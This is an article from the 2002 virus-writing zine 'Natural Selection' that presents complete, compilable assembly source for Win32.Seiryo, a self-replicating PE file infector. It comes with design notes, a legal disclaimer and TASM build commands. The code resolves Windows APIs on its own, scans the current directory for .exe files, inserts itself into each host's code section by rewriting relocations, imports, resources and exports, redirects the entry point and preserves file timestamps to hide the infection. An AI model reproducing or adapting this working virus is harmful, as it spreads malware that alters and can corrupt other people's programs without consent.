 COMMENT ` ---------------------------------------------------------------- )=-
 -=( Natural Selection Issue #1 ------------------------------ Win32.Seiryo )=-
 -=( ---------------------------------------------------------------------- )=-

 -=( 0 : Win32.Seiryo Features -------------------------------------------- )=-

 Imports:       Locates the Kernel, does it's own imports
 Infects:       PE files containing .reloc section by expanding the host's CODE
                section and  putting itself  in it  (and not  setting the write
                bit)
 Locates:       Files in current directory
 Compatibility: All tested windows versions
 Saves Stamps:  Yes
 MultiThreaded: No
 Polymorphism:  None
 AntiAV / EPO:  None
 SEH Abilities: None
 Payload:       None

 -=( 1 : Win32.Seiryo Design Goals ---------------------------------------- )=-

 The purpose of this  virus was to test  a relatively new method  of allocating
 space for a virus.  Traditionally, the virus is simply appended to the end  of
 the file as either a separate  section or tacked onto the last  section.  This
 has the problem that usually the entry  point to the file is now not  the code
 section, and inevitably program execution leaves the code section.

 This idea was derived from Zombie's Zmist - that is to use the .reloc section.
 This virus looks for a file with a reloc section, memory maps it, and proceeds
 to expand the code section to fit the virus.  It then copies itself into  this
 space.  All the other sections are moved back to make space for the virus, the
 code section is updated to reflect these changes (thanks to reloc telling  you
 where the data is),  and then the entire  PE header must be  updated.  So, how
 well does this method work?

 Here's a breakdown of what must be done and it's complexity:

 : Calculating the move amounts/new addresses is straight forward.
 : Using .reloc to update the .text is surprisingly easy

 But:

 : Fixing up EVERY RVA/VA in the PE header is a nightmare, especially with  the
 documentation on the more obscure parts of it being hard to come by. The  main
 stuff that NEEDS to be fixed is:
        : PE Header (SizeOfImage, etc)
        : Data Directory
        : Section Table
        : Import Tables (HNA, and first thunk too)
        : .reloc section
        : Resource Section (else icons disappear - may as well write a
          prepending virus if you don't)
        : Export Section (and all that goes with that)
        : Debug Entries (optional - just zero it)
        : There are about 5-8 more thing, but they are never used and
          good documentation on them is scarce

 So, how well does it work?  It works ok.

 Well,  coding  it  is  lots of  work,  and  the  debugging highly  unpleasant.
 Reconstructed  files  are  surprisingly  stable  providing  that  the  code is
 correctly debugged.  It could well become the preferred method of infection in
 terms of stealth.  The lengthy code, potential bugs, and complexity could be a
 deterrence for use in an average virus.

 -=( 2 : Win32.Seiryo Design Faults --------------------------------------- )=-

 This is a test virus, so the it's spreading ability is minimal.

 The major drawback to this infection method is that not all files have  .reloc
 sections.  In fact, only about half of non-system files,  maybe less have one.
 Thus this method should probably have a backup method of space allocation.

 -=( 3 : Win32.Seiryo Disclaimer ------------------------------------------ )=-

 THE CONTENTS OF  THIS ELECTRONIC MAGAZINE  AND ITS ASSOCIATED  SOURCE CODE ARE
 COVERED UNDER THE BELOW TERMS AND CONDITIONS.  IF YOU DO NOT AGREE TO BE BOUND
 BY THESE TERMS AND CONDITIONS, OR  ARE NOT LEGALLY ENTITLED TO AGREE  TO THEM,
 YOU MUST DISCONTINUE USE OF THIS MAGAZINE IMMEDIATELY.

 COPYRIGHT
 Copyright on  materials in  this  magazine  and  the  information  therein and
 their  arrangement is owned by FEATHERED SERPENTS  unless otherwise indicated.

 RIGHTS AND LIMITATIONS
 You have  the  right  to use,    copy and  distribute  the  material in   this
 magazine free   of  charge,  for  all   purposes  allowed  by your   governing
 laws.  You    are expressly  PROHIBITED   from   using the  material contained
 herein  for   any   purposes  that   would   cause    or would    help promote
 the illegal   use of the material.

 NO WARRANTY
 The  information   contained within   this  magazine  are  provided  "as  is".
 FEATHERED    SERPENTS     do    not    warranty    the     accuracy, adequacy,
 or   completeness     of     given  information,  and    expressly   disclaims
 liability   for   errors   or   omissions    contained  therein.   No implied,
 express, or statutory  warranty, is given  in conjunction with  this magazine.

 LIMITATION OF LIABILITY
 In *NO* event will FEATHERED SERPENTS or any of its MEMBERS be liable for  any
 damages  including  and  without  limitation,  direct  or  indirect,  special,
 incidental,  or  consequential  damages,   losses,  or  expenses  arising   in
 connection with this magazine, or the use thereof.

 ADDITIONAL DISCLAIMER
 Computer viruses will spread of their own accord between computer systems, and
 across international boundaries.  They are raw animals with no concern for the
 law, and for that reason your possession of them makes YOU responsible for the
 actions they carry out.

 The viruses provided in this magazine are for educational purposes ONLY.  They
 are NOT intended for use in  ANY WAY outside of strict, controlled  laboratory
 conditions.  If compiled and executed these viruses WILL land you in court(s).

 You will be held responsible for your actions.  As  source code these  viruses
 are  inert  and   covered   by   implied  freedom   of  speech   laws  in some
 countries.  In  binary form  these viruses  are malicious  weapons.  FEATHERED
 SERPENTS do not condone the application of these viruses and will NOT be  held
 LIABLE for any MISUSE.

 -=( 4 : Win32.Seiryo Compile Instructions -------------------------------- )=-

 TASM32 5.0  &  TLINK32 1.6.71.0

 tasm32 /m /ml Seiryo.asm
 tlink32 /Tpe /x Seiryo.obj, Seiryo.exe,,import32.lib

 -=( 5 : Win32.Seiryo ----------------------------------------------------- ) `

%out Assembling file implies acceptance of disclaimer inside source code

.386
.model flat, stdcall
warn                                            ; Warnings on

VIRSIZE equ VirEnd - VirStart

extrn ExitProcess:PROC
INVALID_HANDLE_VALUE    equ     0FFFFFFFFh
OPEN_EXISTING           equ     3
FILE_SHARE_WRITE        equ     0002h
FILE_BEGIN              equ     0
FILE_MAP_WRITE          equ     2
GENERIC_READ            equ     80000000h
GENERIC_WRITE           equ     40000000h
PAGE_READWRITE          equ     00000004h

WIN32_FIND_DATA         struct
fd_dwFileAttributes     dd      0
fd_ftCreationTime       dd      0, 0
fd_ftLastAccessTime     dd      0, 0
fd_ftLastWriteTime      dd      0, 0
fd_nFileSizeHigh        dd      0
fd_nFileSizeLow         dd      0
fd_dwReserved0          dd      0
fd_dwReserved1          dd      0
fd_cFileName            db      260 dup(0)
fd_cAlternateFileName   db      14 dup(0)
WIN32_FIND_DATA         ends

PEHEADER struct
                ID                              dd      ?
                Machine                         dw      ?
                NumberOfSections                dw      ?
                TimeDateStamp                   dd      ?
                PointerToSymbolTable            dd      ?
                NumberOfSymbols                 dd      ?
                SizeOfOptionalHeader            dw      ?
                Characteristics                 dw      ?
; Optional Header:
                MagicNumber                     dw      ?
                MajorLinkerVersion              db      ?
                MinorLinkerVersion              db      ?
                SizeOfCode                      dd      ?
                SizeOfInitializedData           dd      ?
                SizeOfUninitializedData         dd      ?
                AddressOfEntryPoint             dd      ?
                BaseOfCode                      dd      ?
                BaseOfData                      dd      ?
                ImageBase                       dd      ?
                SectionAlignment                dd      ?
                FileAlignment                   dd      ?
                MajorOperatingSystemVersion     dw      ?
                MinorOperatingSystemVersion     dw      ?
                MajorImageVersion               dw      ?
                MinorImageVersion               dw      ?
                MajorSubsystemVersion           dw      ?
                MinorSubsystemVersion           dw      ?
                Reserved1                       dd      ?
                SizeOfImage                     dd      ?
                SizeOfHeaders                   dd      ?
                CheckSum                        dd      ?
                Subsystem                       dw      ?
                DllCharacteristics              dw      ?
                SizeOfStackReserve              dd      ?
                SizeOfStackCommit               dd      ?
                SizeOfHeapReserve               dd      ?
                SizeOfHeapCommit                dd      ?
                LoaderFlags                     dd      ?
                NumberOfRvaAndSizes             dd      ?
                DataDirectory                   dd      20 dup (?)
PEHEADER ends

; -**************************-
;  Section Table Entry format
; -**************************-

SECTION struct
                sec_Name                        db      8 dup (?)
                sec_VirtualSize                 dd      ?
                sec_VirtualAddress              dd      ?
                sec_SizeOfRawData               dd      ?
                sec_PointerToRawData            dd      ?
                sec_PointerToRelocations        dd      ?
                sec_PointerToLinenumbers        dd      ?
                sec_NumberOfRelocations         dw      ?
                sec_NumberOfLineNumbers         dw      ?
                sec_Characteristics             dd      ?
SECTION ends
; Section Characteristics flags
; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC_CODE                equ     00000020h
SEC_INITIALIZED_DATA    equ     00000040h
SEC_UNINITIALIZED_DATA  equ     00000080h
SEC_NO_CACHE            equ     04000000h
SEC_NOT_PAGEABLE        equ     08000000h
SEC_SHARED              equ     10000000h
SEC_EXECUTABLE          equ     20000000h
SEC_READ                equ     40000000h
SEC_WRITE               equ     80000000h

; -*******************-
;  Import Table format
; -*******************-

IMPORTTABLE struct
                imp_Characteristics             dd      ?
                imp_DateTimeStamp               dd      ?
                imp_ForwarderChain              dd      ?
                imp_Name                        dd      ?
                imp_FirstThunk                  dd      ?
IMPORTTABLE ends

; -*******************-
;  Export Table format
; -*******************-

EXPORTHEADER struct
                exp_Characteristics             dd      ?
                exp_DateTimeStamp               dd      ?
                exp_MajorVersion                dw      ?
                exp_MinorVersion                dw      ?
                exp_Name                        dd      ?
                exp_Base                        dd      ?
                exp_NumberOfFunctions           dd      ?
                exp_NumberOfNames               dd      ?
                exp_AddressOfFunctions          dd      ?
                exp_AddressOfNames              dd      ?
                exp_AddressOfNameOrdinals       dd      ?
EXPORTHEADER ends

; -******************-
;  Resource Dir Table
; -******************-

RESOURCETABLE struct
                res_Characteristics             dd      ?
                res_DateTimeStamp               dd      ?
                res_MajorVersion                dw      ?
                res_MinorVersion                dw      ?
                res_NumNameEntry                dw      ?
                res_NumIDEntry                  dw      ?
RESOURCETABLE ends
RESOURCEENTRY struct
                resent_ID                       dd      ?
                resent_Next                     dd      ?
RESOURCEENTRY ends

; -****************-
;  Thread Dir Table
; -****************-

THREADTABLE struct
                thread_StartDataVA              dd      ?
                thread_EndDataVA                dd      ?
                thread_IndexVA                  dd      ?
                thread_CallbackTableVA          dd      ?
THREADTABLE ends



.DATA
dummy db 0



; *******
; Local Variables
; *******
AlignPhys               equ -3
AlignVirtual            equ -4
VirusRVA                equ AlignVirtual-4
VirusVA                 equ VirusRVA-4
MoveAmount              equ VirusVA-4
PhysMove                equ MoveAmount-4
_FindFirstFileA         equ PhysMove-4
_CreateFileA            equ _FindFirstFileA-4
_CreateFileMappingA     equ _CreateFileA-4
_MapViewOfFile          equ _CreateFileMappingA-4
_UnmapViewOfFile        equ _MapViewOfFile-4
_SetFilePointer         equ _UnmapViewOfFile-4
_SetEndOfFile           equ _SetFilePointer-4
_SetFileTime            equ _SetEndOfFile-4
_CloseHandle            equ _SetFileTime-4
_FindNextFileA          equ _CloseHandle-4
Imports                 equ _FindNextFileA              ; Label (no -4)
FileFind                equ Imports-size WIN32_FIND_DATA
FileFindHnd             equ FileFind-4
SizeOfLocals            equ -FileFindHnd

.CODE
VirStart:
start:
        push    ebp                             ; Setup locals on stack
        mov     ebp, esp
        sub     esp, SizeOfLocals

        mov     edi, [ebp+4]
        and     edi, 0FFFFf000h
        mov     ecx, 128
FindKernelLoop:
        cmp     word ptr [edi], 'ZM'
        je      short GotKernel
        sub     edi, 1000h
        loop    FindKernelLoop
GotoExitInfector:
        jmp     ExitInfector
GotKernel:
        movzx   edx, word ptr [edi+3Ch]
        add     edx, edi
        cmp     dword ptr [edx], 'EP'
        jne     short GotoExitInfector

        mov     edx, [edx].DataDirectory        ; Get Kernel Exports
        add     edx, edi
        xor     ecx, ecx
        mov     esi, [edx].exp_AddressOfNames
        add     esi, edi
FindGetProc:
        inc     ecx
        cmp     ecx, [edx].exp_NumberOfNames
        jg      short GotoExitInfector
        lodsd
        add     eax, edi
        cmp     [eax], 'PteG'
        jne     short FindGetProc
        cmp     [eax+4], 'Acor'
        jne     short FindGetProc
        cmp     [eax+8], 'erdd'
        jne     short FindGetProc

        mov     ebx, [edx].exp_AddressOfNameOrdinals
        add     ebx, edi
        movzx   ecx, word ptr [ebx+2*ecx]
        sub     ecx, [edx].exp_Base
        mov     ebx, [edx].exp_AddressOfFunctions
        add     ebx, edi
        mov     edx, [ebx+4*ecx]
        add     edx, edi

        call    PushImportsAddress
        db      14,'FindNextFileA',0
        db      12,'CloseHandle',0
        db      12,'SetFileTime',0
        db      13,'SetEndOfFile',0
        db      15,'SetFilePointer',0
        db      16,'UnmapViewOfFile',0
        db      14,'MapViewOfFile',0
        db      19,'CreateFileMappingA',0
        db      12,'CreateFileA',0
        db      15,'FindFirstFileA',0
        db      0
PushImportsAddress:
        pop     esi
        xor     ecx, ecx
        mov     ebx, edi
        lea     edi, [ebp+Imports]
ImportLoop:
        mov     cl, [esi]
        inc     esi
        jecxz   DoneImports
        push    edx
        push    ecx
        call    edx, ebx, esi
        or      eax, eax
        jz      ExitInfector
        pop     ecx
        pop     edx
        stosd
        add     esi, ecx
        jmp     short ImportLoop
DoneImports:

        lea     eax, [ebp+FileFind]             ; Find an Exe file
        push    eax
        call    PushFileMask
        db      '*.exe',0
PushFileMask:
        call    [ebp+_FindFirstFileA]
        mov     [ebp+FileFindHnd], eax
        cmp     eax, INVALID_HANDLE_VALUE
        je      ExitInfector


InfectNextFile:
        lea     eax, [ebp+FileFind].fd_cFileName        ; Get FileName
        cmp     byte ptr [eax], 0                       ;  use short if no long
        jne     short UseLongFileName
        lea     eax, [ebp+FileFind].fd_cAlternateFileName
UseLongFileName:

        call    [ebp+_CreateFileA], eax, GENERIC_READ+GENERIC_WRITE, FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0
        cmp     eax, INVALID_HANDLE_VALUE       ; Map the file
        je      FindTheNextFile
        push    eax                             ; Push FileHandle for close
        mov     ebx, [ebp+FileFind].fd_nFileSizeLow
        add     ebx, VIRSIZE+10000
        call    [ebp+_CreateFileMappingA], eax, 0, PAGE_READWRITE, 0, ebx, 0
        or      eax, eax
        je      CloseAndExitInfector
        push    eax
        xchg    eax, esi
        call    [ebp+_MapViewOfFile], esi, FILE_MAP_WRITE, 0, 0, 0
        push    eax                             ; Push Memory Addy for close
        mov     esi, eax

        cmp     word ptr [eax], 'ZM'            ; Check if exe is ok to infect
        jne     InfectableNo
        cmp     word ptr [eax+18h], 40h
        jb      InfectableNo
        movzx   ecx, word ptr [eax+3Ch]
        add     eax, ecx
        cmp     dword ptr [eax], 'EP'
        jne     InfectableNo
        cmp     [eax].NumberOfRvaAndSizes, 10
        jb      InfectableNo
        cmp     [eax].MinorLinkerVersion, 7     ; Infection Marker
        je      InfectableNo

        movzx   edx, [eax].SizeOfOptionalHeader
        lea     edx, [eax+edx+18h]              ; Start of Section table

; Check For code section being first
        test    [edx].sec_Characteristics, SEC_CODE
        jz      InfectableNo

        mov     byte ptr [ebp+AlignVirtual],1           ; See if Virt aligned
        mov     ebx, [edx].sec_VirtualSize
        mov     ecx, [eax].SectionAlignment
        dec     ecx
        test    ebx, ecx
        jz      short VirtuallyAligned
        dec     byte ptr [ebp+AlignVirtual]
VirtuallyAligned:

        mov     byte ptr [ebp+AlignPhys],1              ; See if Phys aligned
        mov     edi, [edx].sec_SizeOfRawData
        mov     ecx, [eax].FileAlignment
        dec     ecx
        test    edi, ecx
        jz      short PhysicallyAligned
        dec     byte ptr [ebp+AlignPhys]
PhysicallyAligned:
        cmp     ebx, edi                                ; Which is smaller?
        jbe     short UseVirtualSize                    ; (i.e. actual size)
        mov     ebx, edi
UseVirtualSize:

        mov     edi, ebx                        ; Find Physical move amount
        add     edi, [edx].sec_PointerToRawData
        lea     edi, [edi+ecx+VIRSIZE]
        not     ecx
        and     edi, ecx
        mov     [ebp+PhysMove], edi

        add     ebx, [edx].sec_VirtualAddress   ; Find VA & RVA of virus
        mov     [ebp+VirusRVA], ebx
        mov     edi, ebx
        add     ebx, [eax].ImageBase
        mov     [ebp+VirusVA], ebx

        movzx   ecx, [eax].NumberOfSections             ; Code Section First?
        mov     ebx, [edx].sec_VirtualAddress
        push    edx
        push    ecx
CheckForFirstSection:
        cmp     ebx, [edx].sec_VirtualAddress
        ja      InfectableNo
        add     edx, size SECTION
        loop    CheckForFirstSection
        pop     ecx
        pop     edx

        dec     ecx                                     ; Section 2 is Next?
        jz      short DoneCheckNextSec
        mov     ebx, [edx + size SECTION].sec_PointerToRawData
        sub     [ebp+PhysMove], ebx
        mov     ebx, [edx + size SECTION].sec_VirtualAddress
        cmp     ebx, [eax].AddressOfEntryPoint  ; Entry Point in code sec?
        jbe     InfectableNo
CheckNextSec:
        add     edx, size SECTION
        cmp     ebx, [edx].sec_VirtualAddress
        ja      InfectableNo
        loop    CheckNextSec


DoneCheckNextSec:
        add     edi, VIRSIZE                    ; Calculate Virtual Move amount
        mov     ecx, [eax].SectionAlignment
        dec     ecx
        add     edi, ecx
        not     ecx
        and     edi, ecx
        sub     edi, ebx
        jae     short PositiveMoveAmount
        xor     edi, edi
PositiveMoveAmount:
        mov     [ebp+MoveAmount], edi


; ************
; Goto relocation section

        mov     eax, [eax].DataDirectory+40     ; Reloc Offset
        or      eax, eax
        jz      InfectableNo
        call    RVA2Addr
        mov     edi, eax

; EDI = start of relocation info (struct: repeat of following).
; RELOC INFO is:
;       RVA  dd ?
;       Size dd ?  - includes the 8 bytes for this and above field.
;                  - should always be 32bit aligned.
;       entries dw (Size-8)/2 dup (?)
; Rellocs end when next RVA is 0
; Each entry's top 4 bits are the type of relocation.  The rest of the 12 bits
;  are an offset from the RVA of the position.
;  (i.e.  address = RVA + (entry & 0x0FFF) )
; Currently handles only relocations of types 0 (nop) and 3 (normal)

MoveRelocLoop:
        mov     eax, [edi]
        or      eax, eax                        ; If RVA=0 then done
        je      short DoneReloc
        cmp     eax, [ebp+VirusRVA]             ; reloc it if < VirusRVA
        jb      short MoveRelocSkip
        mov     ecx, [ebp+MoveAmount]
        add     [edi], ecx
MoveRelocSkip:
        mov     ecx, [edi+4]
        sub     ecx, 8
        shr     ecx, 1                          ; ecx = number of entries
        add     edi, 8
        call    RVA2Addr
        mov     edx, eax

InnerRelocLoop:
        jecxz   MoveRelocLoop                   ; Done block if ecx=0 - do next
        dec     ecx
        movzx   eax, word ptr [edi]
        inc     edi
        inc     edi
        mov     ebx,eax
        shr     ebx, 12                         ; ebx = top 4 bits of entry
        jz      short InnerRelocLoop            ; if 0, then it's padding
        cmp     ebx, 3
        jne     InfectableNo
        and     ah,0Fh                          ; remove type
        mov     ebx, [eax+edx]                  ; reloc if necessary
        cmp     ebx, [ebp+VirusVA]
        jb      short InnerRelocLoop
        mov     ebx, [ebp+MoveAmount]
        add     dword ptr [eax+edx], ebx
        jmp     short InnerRelocLoop

;RelocError:
;        int     3
;        int     3
DoneReloc:

; ************
;  Move physically
; ************

        movzx   edx, word ptr [esi+3Ch]         ; From the new virus position
        add     edx, esi                        ;  move everything to EOF back
        mov     eax,[ebp+VirusRVA]              ;  by PhysMove
        mov     [ebp+VirusRVA], eax             ;  To do this, start at EOF
        dec     eax                             ;  and go backwards to start
        call    RVA2Addr                        ;  (hence std/rep movsb)
        inc     eax
        mov     ecx, esi
        add     ecx, [ebp+FileFind].fd_nFileSizeLow
        sub     ecx, eax
        xchg    eax, ebx
        push    esi
        lea     esi, [ebx+ecx-1]
        mov     eax, [ebp+PhysMove]
        add     [ebp+FileFind].fd_nFileSizeLow, eax
        lea     edi, [esi+eax]
        std
        rep     movsb
        cld
        mov     ecx, VIRSIZE                    ; Copy code into it
        mov     edi, ebx
        call    GetVirStart
GetVirStart:
        pop     esi
        sub     esi, GetVirStart-VirStart
        rep     movsb
        pop     esi


; ***********************
;  Fix RVAs and other
; ***********************


; PE Header Fix
;  Entry Point - should be fine for now
;  ImageSize
        mov     eax, [ebp+MoveAmount]
        add     [edx].SizeOfImage, eax
;  SizeOfCode
        add     [edx].SizeOfCode, eax
;  BaseOfData
        add     [edx].BaseOfData, eax
;  DataDirectory:
        mov     ecx, [edx].NumberOfRvaAndSizes
        lea     edi, [edx].DataDirectory
DataDirLoop:
        mov     eax, [edi]
        or      eax, eax
        jz      short DataDirSkip
        cmp     eax, [ebp+VirusRVA]
        jb      short DataDirSkip
        add     eax, [ebp+MoveAmount]
        mov     [edi], eax
DataDirSkip:
        add     edi,8
        loop    DataDirLoop

; Fix Section Table (edi conviniently points to it now)
        mov     eax, [ebp+VirusRVA]
        sub     eax, [edi].sec_VirtualAddress
        add     eax, VIRSIZE
        cmp     byte ptr [ebp+AlignVirtual],1
        jne     short NoVirtAlign
        mov     ecx, [edx].SectionAlignment
        dec     ecx
        add     eax, ecx
        not     ecx
        and     eax, ecx
NoVirtAlign:
        mov     [edi].sec_VirtualSize, eax
        mov     eax, [edi].sec_SizeOfRawData
        add     eax, [ebp+PhysMove]
        mov     [edi].sec_SizeOfRawData, eax

        movzx   ecx, [edx].NumberOfSections
        mov     ebx, [ebp+PhysMove]
SectionTableFixUp:
        mov     eax, [edi].sec_VirtualAddress
        cmp     eax, [ebp+VirusRVA]
        jb      short NextSecFixUp
        add     eax, [ebp+MoveAmount]
        mov     [edi].sec_VirtualAddress, eax
        add     [edi].sec_PointerToRawData,ebx
NextSecFixUp:
        add     edi, size SECTION
        loop    SectionTableFixUp

; Fix Up Relocation Section - done above (during reloc)

; Fix up Imports
        movzx   eax, word ptr [esi+3Ch]
        add     eax, esi
        mov     eax, [eax].DataDirectory+8
        call    RVA2Addr
        xchg    eax, edi
        mov     ebx, [ebp+MoveAmount]
FixNextImport:
        mov     eax, [edi].imp_Name
        or      eax, eax
        je      short DoneImportFix
        cmp     eax, [ebp+VirusRVA]
        jb      short SkipImpNameFix
        add     [edi].imp_Name, ebx
SkipImpNameFix:
        mov     eax, [edi].imp_Characteristics
        or      eax, eax
        jz      short FixFirstThunk
        cmp     eax, [ebp+VirusRVA]
        jb      short SkipImpCharFix
        add     eax, ebx
        mov     [edi].imp_Characteristics, eax
SkipImpCharFix:
        ; Fix Characteristic field now
        call    RVA2Addr
ImpCharLoop:
        mov     ecx, [eax]
        or      ecx, ecx
        jz      short ImpCharLoopDone
        js      short ImpCharLoopNoFix
        cmp     ecx, [ebp+VirusRVA]
        jb      short ImpCharLoopNoFix
        add     [eax], ebx
ImpCharLoopNoFix:
        add     eax, 4
        jmp     short ImpCharLoop
ImpCharLoopDone:

FixFirstThunk:
        mov     eax, [edi].imp_FirstThunk
        cmp     eax, [ebp+VirusRVA]
        jb      short DoneSectionFix
        add     eax, ebx
        mov     [edi].imp_FirstThunk, eax
DoneSectionFix:
        call    RVA2Addr
ImpThunkLoop:
        mov     ecx, [eax]
        or      ecx, ecx
        jz      short ImpThunkLoopDone
        js      short ImpThunkNoFix
        cmp     ecx, [ebp+VirusRVA]
        jb      short ImpThunkNoFix
        add     dword ptr [eax], ebx
ImpThunkNoFix:
        add     eax, 4
        jmp     short ImpThunkLoop
ImpThunkLoopDone:
        add     edi, size IMPORTTABLE
        jmp     short FixNextImport
DoneImportFix:


; Fix up Resource (2)
        mov     eax, [edx].DataDirectory+(2*8)
        or      eax, eax
        jz      short FixUpNoResources
        call    RVA2Addr
        push    edx
        mov     edx, eax
        xchg    eax, edi
        mov     ebx, [ebp+MoveAmount]
        call    FixupResource
        pop     edx
FixUpNoResources:

;FixUpExports:
        mov     eax, [edx].DataDirectory
        or      eax, eax
        jz      short FixUpNoExports
        call    RVA2Addr
        push    edx
        mov     edx, [ebp+VirusRVA]
        xchg    eax, edi
        add     [edi].exp_Name, ebx             ; Fix dll name
        add     [edi].exp_AddressOfFunctions, ebx  ; Fix RVA to address Array
        mov     eax, [edi].exp_AddressOfFunctions
        call    RVA2Addr
        mov     ecx, [edi].exp_NumberOfFunctions
ExpFixFuncRVAsLoop:                             ; Not handling ecx=0, who cares
        cmp     [eax], edx
        jb      short ExpFixFuncSkipRVA
        add     [eax], ebx
ExpFixFuncSkipRVA:
        add     eax, 4
        loop    ExpFixFuncRVAsLoop
        add     [edi].exp_AddressOfNames, ebx
        mov     eax, [edi].exp_AddressOfNames
        call    RVA2Addr
        mov     ecx, [edi].exp_NumberOfNames
ExpFixNameRVAsLoop:
        cmp     [eax], edx
        jb      short ExpFixNameSkipRVA
        add     [eax], ebx
ExpFixNameSkipRVA:
        add     eax, 4
        loop    ExpFixNameRVAsLoop
        add     [edi].exp_AddressOfNameOrdinals, ebx
        pop     edx
FixUpNoExports:

        xor     eax, eax
        mov     [edx].DataDirectory+(6*8), eax          ;  Kill debug info
        mov     [edx].DataDirectory+(6*8+4), eax        ;  Kill debug info

; Fix Thread Storage
;  - All are VAs - thus they seem to be fixed by fixing the reloc entries.
;  (at least in my test files)
;
;       mov     eax, [edx].DataDirectory+(9*8)
;       or      eax, eax
;       jz      short NoThreadStorage
;       call    RVA2Addr
;       xchg    eax, edi
;
;       mov     eax, [edi].thread_StartDataVA
;       cmp     eax, [ebp+VirusVA]
;       jb      short ThreadNoFixStart
;       add     [edi].thread_StartDataVA, ebx
;ThreadNoFixStart:
;       mov     eax, [edi].thread_EndDataVA
;       cmp     eax, [ebp+VirusVA]
;       jb      short ThreadNoFixEnd
;       add     [edi].thread_StartDataVA, ebx
;ThreadNoFixEnd:
;       mov     eax, [edi].thread_IndexVA
;       cmp     eax, [ebp+VirusVA]
;       jb      short ThreadNoFixIndex
;       add     [edi].thread_IndexVA, ebx
;ThreadNoFixIndex:
;       mov     eax, [edi].thread_CallbackTableVA
;       cmp     eax, [ebp+VirusVA]
;       jb      short ThreadNoFixCallback
;       add     [edi].thread_CallbackTableVA, ebx
;ThreadNoFixCallback:
;       sub     eax, [edx].ImageBase
;       call    RVA2Addr

NoThreadStorage:

; Fiddle with entry point
        mov     [edx].MinorLinkerVersion, 7
        mov     ecx, [edx].AddressOfEntryPoint
        mov     eax, [ebp+VirusRVA]
        mov     [edx].AddressOfEntryPoint, eax  ; Set new entry point
        add     eax, offset HostFileEntryPoint - offset VirStart
        sub     ecx, 4
        sub     ecx, eax
        call    RVA2Addr
        mov     [eax], ecx              ; Fix Jump to host in mem map


; Checklist:
; ---------
; Fix up Exports (0)                    done
; Fix up Imports (1)                    done
; Fix up Resource (2)                   done
; Fix up Exception (3)
; Fix up Security (4)
; Fix up Reloc (5)                      done
; Fix up Debug (6)                      zeroed
; Fix up Description/Architecture (7)   done?
; Fix up Machine Value (8)
; Fix up ThreadStorage (9)              done by reloc fixup?
; Fix up LoadConfiuration (10)
; Fix up Bound Import (11)
; Fix up Import Address Table (12)      done by imports fixup
; Fix up Delay Import (13)
; Fix up COM Runtime Descriptor (14)

InfectableNo:
UnmapAndClose:
        call    [ebp+_UnmapViewOfFile]
        call    [ebp+_CloseHandle]
        mov     ebx, [esp]                      ; Reset File Size
        call    [ebp+_SetFilePointer], ebx, [ebp+FileFind].fd_nFileSizeLow, 0, FILE_BEGIN
        call    [ebp+_SetEndOfFile], ebx
        lea     eax, [ebp+FileFind].fd_ftCreationTime
        lea     ecx, [ebp+FileFind].fd_ftLastAccessTime
        lea     edx, [ebp+FileFind].fd_ftLastWriteTime
        call    [ebp+_SetFileTime], ebx, eax,ecx,edx
CloseAndExitInfector:
        call    [ebp+_CloseHandle]
FindTheNextFile:
        lea     eax, [ebp+FileFind]
        call    [ebp+_FindNextFileA], dword ptr [ebp+FileFindHnd], eax
        or      eax, eax
        jnz     InfectNextFile

ExitInfector:
        mov     esp, ebp
        pop     ebp
        db      0E9h                    ; jmp VirEnd (full displacement)
HostFileEntryPoint:
        dd      offset VirEnd - offset HostFileEntryPoint - 4

; Fix up resource
; edi = base address of resource
; edx = current shit
; ebx = reloc amount
FixupResource:
        push    eax
        push    ecx
        push    edx
        movzx   ecx, [edx].res_NumNameEntry
        movzx   eax, [edx].res_NumIDEntry
        add     ecx, eax
        add     edx, size RESOURCETABLE
FixResourceLoop:
;       no need to mess with [edx].resent_ID
;       it's either an 31-bit integer or the top bit is set and it's a
;         relative displacement from the resource base address
FixResourceIsID:
        mov     eax, [edx].resent_Next
        or      eax, eax
        js      short FixResourceRecurse
        add     [edi+eax], ebx                  ; Fix RVA
        jmp     short FixResourceNext
FixResourceRecurse:
        btc     eax,31                          ; kill top bit
        push    edx                             ; save current position
        lea     edx, [edi+eax]                  ; find pos of next res dir
        call    FixupResource                   ; Recursively fix
        pop     edx
FixResourceNext:
        add     edx, size RESOURCEENTRY
        loop    FixResourceLoop
        pop     edx
        pop     ecx
        pop     eax
        ret


; From RVA calculate Physical offset
; Enter
;  eax = RVA
;  esi = Start Of Memory mapped PE file.
; Leave:
;  eax = Mem map Address
RVA2Addr:
        push    ebx
        push    edx
        push    ecx
        push    esi
        push    edi
        movzx   edi, word ptr [esi+3Ch]
        add     edi, esi
        movzx   edx, [edi].SizeOfOptionalHeader
        movzx   ecx, [edi].NumberOfSections
        lea     edx, [edi+edx+18h]              ; Start of Section table
        mov     ebx, [edx].sec_VirtualAddress
        mov     esi, [edx].sec_PointerToRawData
SectionLoop1:
        cmp     ebx, [edx].sec_VirtualAddress
        jae     short SkipSecLoop1
        cmp     eax, [edx].sec_VirtualAddress
        jb      short SkipSecLoop1
        mov     ebx, [edx].sec_VirtualAddress
        mov     esi, [edx].sec_PointerToRawData
SkipSecLoop1:
        add     edx, size SECTION
        loop    SectionLoop1
        sub     eax, ebx
        add     eax, esi
        pop     edi
        pop     esi
        add     eax, esi
        pop     ecx
        pop     edx
        pop     ebx
        ret


VirEnd:
        call ExitProcess, 0
end start

 COMMENT ` ---------------------------------------------------------------- )=-
 -=( Natural Selection Issue #1 --------------- (c) 2002 Feathered Serpents )=-
 -=( ---------------------------------------------------------------------- ) `
